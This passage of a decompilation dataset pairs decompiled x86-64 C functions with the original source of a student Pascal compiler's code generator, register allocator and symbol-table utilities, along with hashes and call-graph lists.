*)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x11:\nfunc2(17LL, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x12:\nfunc2(18LL, *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x13:\nfunc15();\nprintf(\"L%d:\\n\", *(unsigned int *)(*(_QWORD *)(a1 + 24) + 76LL));\nbreak;\ncase 0x14:\n*(_DWORD *)(*(_QWORD *)(a1 + 24) + 60LL) = tos;\ntos += *(_DWORD *)(*(_QWORD *)(a1 + 24) + 64LL);\nbreak;\ncase 0x15:\ntos = 8;\nputchar(10);\nbreak;\ncase 0x16:\ncase 0x19:\nfunc10(0LL);\nbreak;\ncase 0x17:\ncase 0x18:\nreturn;\ncase 0x1A:\nprintf(\" pushl %s\\n\", \"%ebp\");\nprintf(\" movl %s, %s\\n\", \"%esp\", \"%ebp\");\nprintf(\" movl $0, -4(%s)\\n\", \"%ebp\");\nprintf(\" subl $%d, %s\\n\", (unsigned int)(*(_DWORD *)(*(_QWORD *)(a1 + 24) + 64LL) + 4), \"%esp\");\nbreak;\ncase 0x1B:\nputs(\" leave\");\nputs(\" ret\");\nbreak;\ncase 0x1C:\nfunc3(\"LESSTHAN\", *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x1D:\nfunc3(\"GRTRTHAN\", *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x1E:\nfunc3(\"NE\", *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x1F:\nfunc3(\"LE\", *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x20:\nfunc3(\"GE\", *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x21:\nfunc3(\"EQUAL\", *(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x22:\nfunc4(*(_QWORD *)(a1 + 24), *(_QWORD *)(a1 + 32), *(_QWORD *)(a1 + 40));\nbreak;\ncase 0x23:\nfunc7(*(_QWORD *)(a1 + 24));\nbreak;\ndefault:\nerror((int)\"unknown TAC opcode to translate\", a2, a3);\nbreak;\n}\n}" ], [ "cg_binop", "int __fastcall func1(int a1, __int64 a2, __int64 a3, __int64 a4)\n{\nint result; // eax\nconst char *v5; // rbx\nconst char *v6; // rax\nconst char *v7; // rbx\nconst char *v8; // rax\nconst char *v9; // rbx\nconst char *v10; // rax\nconst char *v11; // rbx\nconst char *v12; // rax\nconst char *v13; // rbx\nconst char *v14; // rax\nconst char *v15; // rdx\nconst char *v16; // rax\nconst char *v17; // rax\nunsigned int v20; // [rsp+2Ch] [rbp-24h]\nunsigned int v21; // [rsp+38h] [rbp-18h]\nunsigned int v22; // [rsp+3Ch] [rbp-14h]\n\nv22 = func13(a4);\nv21 = func14(a3, v22);\nresult = a1;\nswitch ( a1 )\n{\ncase 1:\nv5 = (const char *)func17(v22);\nv6 = (const char *)func17(v21);\nresult = printf(\" addl %s, %s\\n\", v6, v5);\nbreak;\ncase 2:\nv7 = (const char *)func17(v22);\nv8 = (const char *)func17(v21);\nresult = printf(\" subl %s, %s\\n\", v8, v7);\nbreak;\ncase 3:\nv9 = (const char *)func17(v22);\nv10 = (const char *)func17(v21);\nresult = printf(\" imull %s, %s\\n\", v10, v9);\nbreak;\ncase 4:\ncase 13:\ncase 16:\nspill_one(6LL);\nspill_one(9LL);\nfunc11(6LL, a4, 1LL);\nfunc11(9LL, a4, 1LL);\nv20 = func13(a2);\nif ( v20 == 6 || v20 == 9 )\n{\nerror((int)\"encountered an unhandled exception!\\n\", a4, v15);\nexit(1);\n}\nfunc12(6LL, a4);\nfunc12(v20, a3);\nv16 = (const char *)func17(6LL);\nprintf(\" cltd %s\\n\", v16);\nv17 = (const char *)func17(v20);\nprintf(\" idivl %s\\n\", v17);\nclear_desc(6LL);\nclear_desc(9LL);\nresult = func11(v20, a2, 1LL);\nbreak;\ncase 14:\nv11 = (const char *)func17(v22);\nv12 = (const char *)func17(v21);\nresult = printf(\" andl %s, %s\\n\", v12, v11);\nbreak;\ncase 15:\nv13 = (const char *)func17(v22);\nv14 = (const char *)func17(v21);\nresult = printf(\" orl %s, %s\\n\", v14, v13);\nbreak;\ndefault:\nbreak;\n}\nif ( a1 != 4 && a1 != 16 && a1 != 13 )\n{\nclear_desc(v22);\nresult = func11(v22, a2, 1LL);\n}\nreturn result;\n}" ], [ "cg_unop", "__int64 __fastcall func2(int a1, __int64 a2, __int64 a3)\n{\nconst char *v3; // rdx\nconst char *v4; // rax\nconst char *v5; // rax\nconst char *v6; // rax\nconst char *v7; // rax\nconst char *v8; // rax\nunsigned int v11; // [rsp+2Ch] [rbp-4h]\n\nv11 = func13(a3);\nif ( a1 == 18 )\n{\nif ( v11 == 5 )\n{\nerror((int)\"encountered unhandled exception!\\n\", a2, v3);\nexit(1);\n}\nv5 = (const char *)func17(v11);\nprintf(\" cmpl $0, %s\\n\", v5);\nprintf(\" setg %s\\n\", \"%al\");\nspill_one(v11);\nv6 = (const char *)func17(v11);\nprintf(\" movzbl %s, %s\\n\", \"%al\", v6);\nv7 = (const char *)func17(v11);\nprintf(\" cmpl $0, %s\\n\", v7);\nprintf(\" sete %s\\n\", \"%al\");\nv8 = (const char *)func17(v11);\nprintf(\" movzbl %s, %s\\n\", \"%al\", v8);\n}\nelse if ( a1 <= 18 )\n{\nif ( a1 == 5 )\n{\nif ( *(int *)(a3 + 76) >= 0 )\n{\nLABEL_7:\nv4 = (const char *)func17(v11);\nprintf(\" negl %s\\n\", v4);\nreturn func11(v11, a2, 1LL);\n}\n}\nelse if ( a1 == 17 && *(int *)(a3 + 76) <= 0 )\n{\ngoto LABEL_7;\n}\n}\nreturn func11(v11, a2, 1LL);\n}" ], [ "cg_relop", "__int64 __fastcall func3(const char *a1, __int64 a2, __int64 a3, __int64 a4)\n{\nconst char *v4; // rbx\nconst char *v5; // rax\nconst char *v6; // rax\nunsigned int v9; // [rsp+28h] [rbp-18h]\nunsigned int v10; // [rsp+2Ch] [rbp-14h]\n\nv10 = func13(a4);\nv9 = func14(a3, v10);\nv4 = (const char *)func17(v10);\nv5 = (const char *)func17(v9);\nprintf(\" cmpl %s, %s\\n\", v5, v4);\nif ( !strcmp(a1, \"GRTRTHAN\") )\nprintf(\" setg %s\\n\", \"%al\");\nif ( !strcmp(a1, \"GE\") )\nprintf(\" setge %s\\n\", \"%al\");\nif ( !strcmp(a1, \"LESSTHAN\") )\nprintf(\" setl %s\\n\", \"%al\");\nif ( !strcmp(a1, \"LE\") )\nprintf(\" setle %s\\n\", \"%al\");\nif ( !strcmp(a1, \"EQUAL\") )\nprintf(\" sete %s\\n\", \"%al\");\nif ( !strcmp(a1, \"NE\") )\nprintf(\" setne %s\\n\", \"%al\");\nclear_desc(v10);\nv6 = (const char *)func17(v10);\nprintf(\" movzbl %s, %s\\n\", \"%al\", v6);\nfunc11(v10, a2, 1LL);\nreturn spill_one(v10);\n}" ], [ "cg_offset", "void func4()\n{\n;\n}" ], [ "cg_copy", "__int64 __fastcall func5(__int64 a1, __int64 a2)\n{\nunsigned int v3; // [rsp+1Ch] [rbp-4h]\n\nv3 = func13(a2);\nreturn func11(v3, a1, 1LL);\n}" ], [ "cg_cond", "int __fastcall func6(const char *a1, __int64 a2, unsigned int a3)\n{\nconst char *v3; // rax\nconst char *v4; // rax\nint result; // eax\nint i; // [rsp+2Ch] [rbp-4h]\nunsigned int v8; // [rsp+2Ch] [rbp-4h]\n\nfunc16();\nif ( !a2 )\ngoto LABEL_15;\nfor ( i = 6; i <= 11 && a2 != rdesc[2 * i]; ++i )\n;\nif ( i > 11 )\n{\nv8 = func13(a2);\nv4 = (const char *)func17(v8);\nprintf(\" cmpl $0, %s\\n\", v4);\nif ( !strcmp(a1, \"IFZ\") )\nprintf(\" je L%d\\n\", a3);\nif ( !strcmp(a1, \"IFNZ\") )\ngoto LABEL_14;\n}\nelse\n{\nv3 = (const char *)func17((unsigned int)i);\nprintf(\" cmpl $0, %s\\n\", v3);\nif ( !strcmp(a1, \"IFZ\") )\nprintf(\" je L%d\\n\", a3);\nif ( !strcmp(a1, \"IFNZ\") )\n{\nLABEL_14:\nprintf(\" jne L%d\\n\", a3);\ngoto LABEL_15;\n}\n}\nLABEL_15:\nresult = strcmp(a1, \"GOTO\");\nif ( !result )\nresult = printf(\" jmp L%d\\n\", a3);\nreturn result;\n}" ], [ "cg_print", "int __fastcall func7(_DWORD *a1)\n{\nint v2; // [rsp+1Ch] [rbp-4h] BYREF\n\nv2 = func14(a1, &v2);\nfunc15();\nif ( a1[12] == 17 )\nprintf(\" pushl $%d\\n\", (unsigned int)a1[19]);\nif ( a1[13] == 1 || a1[13] == 19 )\nprintf(\" pushl -%d(%s)\\n\", (unsigned int)a1[15], \"%ebp\");\nputs(\" pushl $.PRINTF_ARG\");\nputs(\" call printf\");\nreturn printf(\" addl $8, %s\\n\", \"%esp\");\n}" ], [ "cg_arg", "void func8()\n{\n;\n}" ], [ "cg_call", "void func9()\n{\n;\n}" ], [ "cg_return", "void func10()\n{\n;\n}" ], [ "insert_desc", "__int64 __fastcall func11(int a1, __int64 a2, unsigned int a3)\n{\n__int64 result; // rax\n\nrdesc[2 * a1] = a2;\nresult = a3;\nLODWORD(rdesc[2 * a1 + 1]) = a3;\nreturn result;\n}" ], [ "load_reg", "__int64 __fastcall func12(unsigned int a1, _DWORD *a2)\n{\nconst char *v2; // rbx\nconst char *v3; // rax\nconst char *v4; // rax\nconst char *v6; // rax\nconst char *v7; // rax\nint i; // [rsp+1Ch] [rbp-14h]\n\nfor ( i = 0; ; ++i )\n{\nif ( i > 11 )\n{\nif ( a2[12] == 17 )\n{\nv6 = (const char *)func17(a1);\nprintf(\" movl $%d, %s\\n\", (unsigned int)a2[19], v6);\n}\nelse\n{\nv7 = (const char *)func17(a1);\nprintf(\" movl -%d(%s), %s\\n\", (unsigned int)a2[15], \"%ebp\", v7);\n}\nreturn func11(a1, (__int64)a2, 0);\n}\nif ( a2 == (_DWORD *)rdesc[2 * i] )\nbreak;\n}\nv2 = (const char *)func17(a1);\nif ( i == 5 )\n{\nv3 = (const char *)func17(5LL);\nprintf(\" movzbl %s, %s\\n\", v3, v2);\n}\nelse\n{\nv4 = (const char *)func17((unsigned int)i);\nprintf(\" movl %s, %s\\n\", v4, v2);\n}\nreturn func11(a1, (__int64)a2, rdesc[2 * i + 1]);\n}" ], [ "get_rreg", "__int64 __fastcall func13(_DWORD *a1)\n{\nint i; // [rsp+1Ch] [rbp-4h]\nsigned int j; // [rsp+1Ch] [rbp-4h]\nint k; // [rsp+1Ch] [rbp-4h]\n\nfor ( i = 6; i <= 11; ++i )\n{\nif ( a1 == (_DWORD *)rdesc[2 * i] )\n{\nspill_one((unsigned int)i);\nreturn (unsigned int)i;\n}\n}\nfor ( j = 6; j <= 11; ++j )\n{\nif ( !rdesc[2 * j] )\n{\nfunc12(j, a1);\nreturn (unsigned int)j;\n}\n}\nfor ( k = 6; k <= 11; ++k )\n{\nif ( !LODWORD(rdesc[2 * k + 1]) )\n{\nclear_desc(k);\nfunc12(k, a1);\nreturn (unsigned int)k;\n}\n}\nspill_one(6LL);\nclear_desc(6);\nfunc12(6u, a1);\nreturn 6LL;\n}" ], [ "get_areg", "unsigned __int64 __fastcall func14(_DWORD *a1, int a2)\n{\nunsigned __int64 result; // rax\nint i; // [rsp+1Ch] [rbp-4h]\nsigned int j; // [rsp+1Ch] [rbp-4h]\nint k; // [rsp+1Ch] [rbp-4h]\nunsigned int l; // [rsp+1Ch] [rbp-4h]\n\nfor ( i = 0; i <= 11; ++i )\n{\nresult = rdesc[2 * i];\nif ( a1 == (_DWORD *)result )\nreturn (unsigned int)i;\n}\nfor ( j = 6; j <= 11; ++j )\n{\nresult = rdesc[2 * j];\nif ( !result )\n{\nfunc12(j, a1);\nreturn (unsigned int)j;\n}\n}\nfor ( k = 6; k <= 11; ++k )\n{\nresult = LODWORD(rdesc[2 * k + 1]);\nif ( !(_DWORD)result )\n{\nresult = (unsigned int)k;\nif ( k != a2 )\n{\nclear_desc(k);\nfunc12(k, a1);\nreturn (unsigned int)k;\n}\n}\n}\nfor ( l = 6; (int)l <= 11; ++l )\n{\nresult = l;\nif ( l != a2 )\n{\nspill_one(l);\nclear_desc(l);\nfunc12(l, a1);\nreturn l;\n}\n}\nreturn result;\n}" ] ]
[ { "name": "flush_all", "canonical_name": "func15", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "_QWORD *flush_all()\n{\n_QWORD *result; // rax\nint i; // [rsp+Ch] [rbp-4h]\n\nresult = (_QWORD *)spill_all();\nfor ( i = 6; i <= 11; ++i )\nresult = clear_desc(i);\nreturn result;\n}\n", "canonical_decompiled_code": "_QWORD *func15()\n{\n_QWORD *result; // rax\nint i; // [rsp+Ch] [rbp-4h]\n\nresult = (_QWORD *)func16();\nfor ( i = 6; i <= 11; ++i )\nresult = clear_desc(i);\nreturn result;\n}", "original_code": "void flush_all(){\n int r;\n spill_all();\n for(r = 6; r < 12; r++)\n clear_desc(r);\n}", "canonical_original_code": "void flush_all(){\n int r;\n spill_all();\n for(r = 6; r < 12; r++)\n clear_desc(r);\n}", "variable_types": [ [ "r", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "972056dcfa6edd01edc446e788c89949e1c88a1efdd8fa8fe7c1526f34baaa4e" }, { "name": "spill_all", "canonical_name": "func16", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 spill_all()\n{\n__int64 result; // rax\nint i; // [rsp+Ch] [rbp-4h]\n\nfor ( i = 6; i <= 11; ++i )\nresult = spill_one((unsigned int)i);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 func16()\n{\n__int64 result; // rax\nint i; // [rsp+Ch] [rbp-4h]\n\nfor ( i = 6; i <= 11; ++i )\nresult = spill_one((unsigned int)i);\nreturn result;\n}", "original_code": "void spill_all(){\n int r;\n for(r = 6; r < 12; r++)\n spill_one(r);\n}", "canonical_original_code": "void spill_all(){\n int r;\n for(r = 6; r < 12; r++)\n spill_one(r);\n}", "variable_types": [ [ "r", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "972056dcfa6edd01edc446e788c89949e1c88a1efdd8fa8fe7c1526f34baaa4e" }, { "name": "find_reg", "canonical_name": "func17", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "const char *__fastcall find_reg(int a1)\n{\nconst char *result; // rax\n\nresult = (const char *)(unsigned int)(a1 - 5);\nswitch ( a1 )\n{\ncase 5:\nresult = \"%al\";\nbreak;\ncase 6:\nresult = \"%eax\";\nbreak;\ncase 7:\nresult = \"%ebx\";\nbreak;\ncase 8:\nresult = \"%ecx\";\nbreak;\ncase 9:\nresult = \"%edx\";\nbreak;\ncase 10:\nresult = \"%esi\";\nbreak;\ncase 11:\nresult = \"%edi\";\nbreak;\ndefault:\nreturn result;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "const char *__fastcall func17(int a1)\n{\nconst char *result; // rax\n\nresult = (const char *)(unsigned int)(a1 - 5);\nswitch ( a1 )\n{\ncase 5:\nresult = \"%al\";\nbreak;\ncase 6:\nresult = \"%eax\";\nbreak;\ncase 7:\nresult = \"%ebx\";\nbreak;\ncase 8:\nresult = \"%ecx\";\nbreak;\ncase 9:\nresult = \"%edx\";\nbreak;\ncase 10:\nresult = \"%esi\";\nbreak;\ncase 11:\nresult = \"%edi\";\nbreak;\ndefault:\nreturn result;\n}\nreturn result;\n}", "original_code": "char *find_reg(int enum_val){\n switch(enum_val)\n {\n case 5:\n return \"%al\";\n break;\n case 6:\n return \"%eax\";\n break;\n case 7:\n return \"%ebx\";\n break;\n case 8:\n return \"%ecx\";\n break;\n case 9:\n return \"%edx\";\n break;\n case 10:\n return \"%esi\";\n break;\n case 11:\n return \"%edi\";\n break;\n }\n}", "canonical_original_code": "char *find_reg(int enum_val){\n switch(enum_val)\n {\n case 5:\n return \"%al\";\n break;\n case 6:\n return \"%eax\";\n break;\n case 7:\n return \"%ebx\";\n break;\n case 8:\n return \"%ecx\";\n break;\n case 9:\n return \"%edx\";\n break;\n case 10:\n return \"%esi\";\n break;\n case 11:\n return \"%edi\";\n break;\n }\n}", "variable_types": [ [ "enum_val", "int" ] ], "return_type": "char *", "user_defined_types": [], "binary_hash": "972056dcfa6edd01edc446e788c89949e1c88a1efdd8fa8fe7c1526f34baaa4e" } ]
bbb897e80818e12d4273e9ba362186af19962ac7cc9fec40e3e066c7edb350db
mikestaub/Pascal-Compiler
[ [ "push_table", "->" ], [ "pop_table", "->" ], [ "top_table", "->" ], [ "push_offset", "->" ], [ "pop_offset", "->" ], [ "top_offset", "->" ] ]
[ [ "push_table", "__int64 __fastcall func0(__int64 a1, void *a2)\n{\nif ( (unsigned int)push(a1, a2) != 1 )\nreturn 0LL;\nfree(a2);\nreturn 1LL;\n}" ], [ "pop_table", "__int64 __fastcall func1(__int64 a1, _QWORD *a2)\n{\n__int64 v3; // [rsp+18h] [rbp-8h] BYREF\n\nif ( (unsigned int)pop(a1, &v3) == 1 )\nreturn 1LL;\n*a2 = v3;\nreturn 0LL;\n}" ], [ "top_table", "__int64 __fastcall func2(__int64 a1, _QWORD *a2)\n{\n__int64 v3; // [rsp+18h] [rbp-8h] BYREF\n\nif ( (unsigned int)top(a1, &v3) == 1 )\nreturn 1LL;\n*a2 = v3;\nreturn 0LL;\n}" ] ]
[ { "name": "push_offset", "canonical_name": "func3", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 __fastcall push_offset(__int64 a1, int a2)\n{\n_DWORD *ptr; // [rsp+18h] [rbp-8h]\n\nptr = malloc(4uLL);\nif ( !ptr )\nreturn 1LL;\n*ptr = a2;\nif ( (unsigned int)push(a1, ptr) != 1 )\nreturn 0LL;\nfree(ptr);\nreturn 1LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1, int a2)\n{\n_DWORD *ptr; // [rsp+18h] [rbp-8h]\n\nptr = malloc(4uLL);\nif ( !ptr )\nreturn 1LL;\n*ptr = a2;\nif ( (unsigned int)push(a1, ptr) != 1 )\nreturn 0LL;\nfree(ptr);\nreturn 1LL;\n}", "original_code": "status push_offset ( stack *p_S , int offset ) {\n int *p_c = (int *) malloc (sizeof(int)) ;\n if ( p_c == ((void *)0) ) return ERROR ;\n *p_c = offset ;\n if ( push(p_S, (generic_ptr) p_c) == ERROR ) {\n free (p_c); return ERROR ;\n }\n return OK ;\n}", "canonical_original_code": "enum status push_offset(struct stack *p_S, int offset) {\n int *p_c = (int *) malloc (sizeof(int));\n if ( p_c == ((void *)0) ) return ERROR ;\n *p_c = offset ;\n if ( push(p_S, (void *) p_c) == ERROR ) {\n free (p_c); return ERROR ;\n }\n return OK ;\n}", "variable_types": [ [ "p_S", "struct stack { void *base[100]; void **top; } *" ], [ "offset", "int" ], [ "p_c", "int *" ] ], "return_type": "enum status { OK=0, ERROR=1 }", "user_defined_types": [ "enum status { OK=0, ERROR=1 }", "struct stack { void *base[100]; void **top; }" ], "binary_hash": "bbb897e80818e12d4273e9ba362186af19962ac7cc9fec40e3e066c7edb350db" }, { "name": "pop_offset", "canonical_name": "func4", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "__int64 __fastcall pop_offset(__int64 a1, _DWORD *a2)\n{\nvoid *ptr; // [rsp+18h] [rbp-8h] BYREF\n\nif ( (unsigned int)pop(a1, &ptr) == 1 )\nreturn 1LL;\n*a2 = *(_DWORD *)ptr;\nfree(ptr);\nreturn 0LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(__int64 a1, _DWORD *a2)\n{\nvoid *ptr; // [rsp+18h] [rbp-8h] BYREF\n\nif ( (unsigned int)pop(a1, &ptr) == 1 )\nreturn 1LL;\n*a2 = *(_DWORD *)ptr;\nfree(ptr);\nreturn 0LL;\n}", "original_code": "status pop_offset ( stack *p_S , int *offset ) {\n int *p_data ;\n if ( pop( p_S, (generic_ptr *)&p_data ) == ERROR )\n return ERROR ;\n *offset = *p_data ;\n free (p_data) ;\n return OK ;\n}", "canonical_original_code": "enum status pop_offset(struct stack *p_S, int *offset) {\n int *p_data;\n if ( pop( p_S, (void **)&p_data ) == ERROR )\n return ERROR ;\n *offset = *p_data ;\n free (p_data) ;\n return OK ;\n}", "variable_types": [ [ "p_S", "struct stack { void *base[100]; void **top; } *" ], [ "offset", "int *" ], [ "p_data", "int *" ] ], "return_type": "enum status { OK=0, ERROR=1 }", "user_defined_types": [ "enum status { OK=0, ERROR=1 }", "struct stack { void *base[100]; void **top; }" ], "binary_hash": "bbb897e80818e12d4273e9ba362186af19962ac7cc9fec40e3e066c7edb350db" }, { "name": "top_offset", "canonical_name": "func5", "repo": "mikestaub/Pascal-Compiler", "decompiled_code": "_BOOL8 __fastcall top_offset(__int64 a1)\n{\n__int64 v2; // [rsp+18h] [rbp-8h] BYREF\n\nreturn (unsigned int)top(a1, &v2) == 1;\n}\n", "canonical_decompiled_code": "_BOOL8 __fastcall func5(__int64 a1)\n{\n__int64 v2; // [rsp+18h] [rbp-8h] BYREF\n\nreturn (unsigned int)top(a1, &v2) == 1;\n}", "original_code": "status top_offset ( stack *p_S , int *p_c ) {\n int *p_data ;\n if ( top(p_S, (generic_ptr *) &p_data ) == ERROR )\n return ERROR ;\n p_c = p_data ;\n return OK ;\n}", "canonical_original_code": "enum status top_offset(struct stack *p_S, int *p_c) {\n int *p_data;\n if ( top(p_S, (void **) &p_data ) == ERROR )\n return ERROR ;\n p_c = p_data ;\n return OK ;\n}", "variable_types": [ [ "p_S", "struct stack { void *base[100]; void **top; } *" ], [ "p_c", "int *" ], [ "p_data", "int *" ] ], "return_type": "enum status { OK=0, ERROR=1 }", "user_defined_types": [ "enum status { OK=0, ERROR=1 }", "struct stack { void *base[100]; void **top; }" ], "binary_hash": "bbb897e80818e12d4273e9ba362186af19962ac7cc9fec40e3e066c7edb350db" } ]
f2fc6fb822e1a1af34538433af2d03c912756d1707331ea0b5157e612eab0bd9
mikestaub/Pascal-Compiler
[ [ "error", "->", "safe_malloc", "print_tac" ], [ "safe_malloc", "->", "error" ], [ "dump_table", "->", "token_to_string" ], [ "dump_constant_table", "->" ], [ "token_to_string", "->", "dump_table" ], [ "print_tac", "->", "error", "ts" ], [ "ts", "->", "print_tac" ] ]
[ [ "dump_table", "int __fastcall func2(__int64 a1)\n{\n__int64 v1; // r15\n__int64 v2; // r14\n__int64 v3; // r13\nconst char *v4; // r12\nconst char *v5; // rbx\nconst char *v6; // rax\nconst char *v7; // r12\nconst char *v8; // rbx\nconst char *v9; // rax\nunsigned int v11; // [rsp+4h] [rbp-36Ch]\n__int64 v12[100]; // [rsp+10h] [rbp-360h]\nint v13; // [rsp+330h] [rbp-40h]\nint v14; // [rsp+334h] [rbp-3Ch]\nint v15; // [rsp+338h] [rbp-38h]\nunsigned int i; // [rsp+33Ch] [rbp-34h]\n\ni = 0;\nv15 = 0;\nputs(\n\"\\n\"\n\"*********************************************************************************************************************************\");\nprintf(\n\"SYMBOL TABLE NAME: %s \\nWIDTH: %d \\nPARAMETERS: %d\\n\\n\",\n*(const char **)a1,\n*(unsigned int *)(a1 + 16),\n*(unsigned int *)(a1 + 20));\nputs(\"\\nName\\t Hash\\t Line\\t Hops\\t TokenType1\\t TokenType2\\t DataType\\t Size\\t Dimensions\\t Offset\\t c\");\nputs(\n\"___________________________________________________________________________________________________________________\\n\");\nfor ( i = 1; (int)i <= 996; ++i )\n{\nif ( *(_QWORD *)(a1 + 8 * ((int)i + 4LL)) )\n{\nv14 = *(_DWORD *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 52LL);\nv13 = *(_DWORD *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 48LL);\nif ( v13 == 18 && (v14 == 2 || v14 == 3) )\nv12[v15++] = *(_QWORD *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 16LL);\nv11 = *(_DWORD *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 88LL);\nv1 = *(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 60LL);\nv2 = *(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 68LL);\nv3 = *(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 64LL);\nif ( *(_DWORD *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 52LL) == 19 )\n{\nv4 = (const char *)func4(*(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 56LL));\nv5 = (const char *)func4(*(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 52LL));\nv6 = (const char *)func4(*(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 48LL));\nprintf(\n\"%s\\t %d\\t %d\\t %d\\t %s \\t\\t %s \\t%s\\t\\t %d\\t %d\\t\\t %d\\t %d\\n\",\n*(const char **)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 112LL),\ni,\n*(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 84LL),\n*(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 80LL),\nv6,\nv5,\nv4,\nv3,\nv2,\nv1,\nv11);\n}\nelse\n{\nv7 = (const char *)func4(*(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 56LL));\nv8 = (const char *)func4(*(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 52LL));\nv9 = (const char *)func4(*(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 48LL));\nprintf(\n\"%s\\t %d\\t %d\\t %d\\t %s \\t %s \\t%s\\t\\t %d\\t %d\\t\\t %d\\t %d\\n\",\n*(const char **)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 112LL),\ni,\n*(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 84LL),\n*(unsigned int *)(*(_QWORD *)(a1 + 8 * ((int)i + 4LL)) + 80LL),\nv9,\nv8,\nv7,\nv3,\nv2,\nv1,\nv11);\n}\n}\n}\nputs(\n\"\\n\"\n\"*********************************************************************************************************************************\");\nfor ( i = 0; (int)i < v15; ++i )\nfunc2(v12[i]);\nreturn puts(\"\\n\");\n}" ], [ "dump_constant_table", "int __fastcall func3(const char **a1)\n{\nconst char *v1; // rax\nint i; // [rsp+1Ch] [rbp-4h]\n\nprintf(\"\\n\\n%s\\n\", *a1);\nLODWORD(v1) = puts(\"********************************************\");\nfor ( i = 1; i <= 996; ++i )\n{\nv1 = a1[i + 4];\nif ( v1 )\nLODWORD(v1) = printf(\"CONSTANT_SYMBOL: %s\\n\", *((const char **)a1[i + 4] + 14));\n}\nreturn (int)v1;\n}" ], [ "print_tac", "int __fastcall func5(__int64 a1)\n{\nint result; // eax\nconst char *v2; // r12\nconst char *v3; // rbx\nconst char *v4; // rax\nconst char *v5; // r12\nconst char *v6; // rbx\nconst char *v7; // rax\nconst char *v8; // r12\nconst char *v9; // rbx\nconst char *v10; // rax\nconst char *v11; // r12\nconst char *v12; // rbx\nconst char *v13; // rax\nconst char *v14; // rbx\nconst char *v15; // rax\nconst char *v16; // rbx\nconst char *v17; // rax\nunsigned int v18; // ebx\nconst char *v19; // rax\nunsigned int v20; // ebx\nconst char *v21; // rax\nconst char *v22; // rax\nunsigned int v23; // ebx\nconst char *v24; // rax\nconst char *v25; // rax\nconst char *v26; // rax\nconst char *v27; // r12\nconst char *v28; // rbx\nconst char *v29; // rax\nconst char *v30; // r12\nconst char *v31; // rbx\nconst char *v32; // rax\nconst char *v33; // r12\nconst char *v34; // rbx\nconst char *v35; // rax\nconst char *v36; // r12\nconst char *v37; // rbx\nconst char *v38; // rax\nconst char *v39; // rbx\nconst char *v40; // rax\nconst char *v41; // rbx\nconst char *v42; // rax\nconst char *v43; // r12\nconst char *v44; // rbx\nconst char *v45; // rax\nconst char *v46; // r12\nconst char *v47; // rbx\nconst char *v48; // rax\nconst char *v49; // r12\nconst char *v50; // rbx\nconst char *v51; // rax\nconst char *v52; // r12\nconst char *v53; // rbx\nconst char *v54; // rax\nconst char *v55; // r12\nconst char *v56; // rbx\nconst char *v57; // rax\nconst char *v58; // r12\nconst char *v59; // rbx\nconst char *v60; // rax\nconst char *v61; // r12\nconst char *v62; // rbx\nconst char *v63; // rax\nconst char *v64; // rax\nchar v65[12]; // [rsp+1Ch] [rbp-34h] BYREF\nchar v66[12]; // [rsp+28h] [rbp-28h] BYREF\nchar v67[28]; // [rsp+34h] [rbp-1Ch] BYREF\n\nputs(\"\\nTAC\");\nprintf(\" op: \");\nswitch ( *(_DWORD *)(a1 + 16) )\n{\ncase 0:\nputs(\"UNDEF\");\nbreak;\ncase 1:\nputs(\"ADD\");\nbreak;\ncase 2:\nputs(\"SUB\");\nbreak;\ncase 3:\nputs(\"MUL\");\nbreak;\ncase 4:\ncase 0x10:\nputs(\"DIV\");\nbreak;\ncase 5:\nputs(\"NEG\");\nbreak;\ncase 6:\nputs(\"COPY\");\nbreak;\ncase 7:\nputs(\"GOTO\");\nbreak;\ncase 8:\nputs(\"IFZ\");\nbreak;\ncase 9:\nputs(\"IFNZ\");\nbreak;\ncase 